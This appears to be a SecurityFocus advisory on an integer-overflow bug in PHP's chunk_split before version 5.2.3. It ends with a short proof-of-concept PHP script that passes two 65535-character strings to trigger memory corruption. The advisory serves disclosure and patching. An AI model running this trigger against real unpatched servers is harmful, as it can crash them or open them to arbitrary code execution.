source: http://www.securityfocus.com/bid/24261/info
PHP is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun. Attackers may exploit this issue to cause a buffer overflow and to corrupt process memory.
Attackers may be able to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will likely result in a denial-of-service condition.
This issue affects versions prior to PHP 5.2.3.
<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>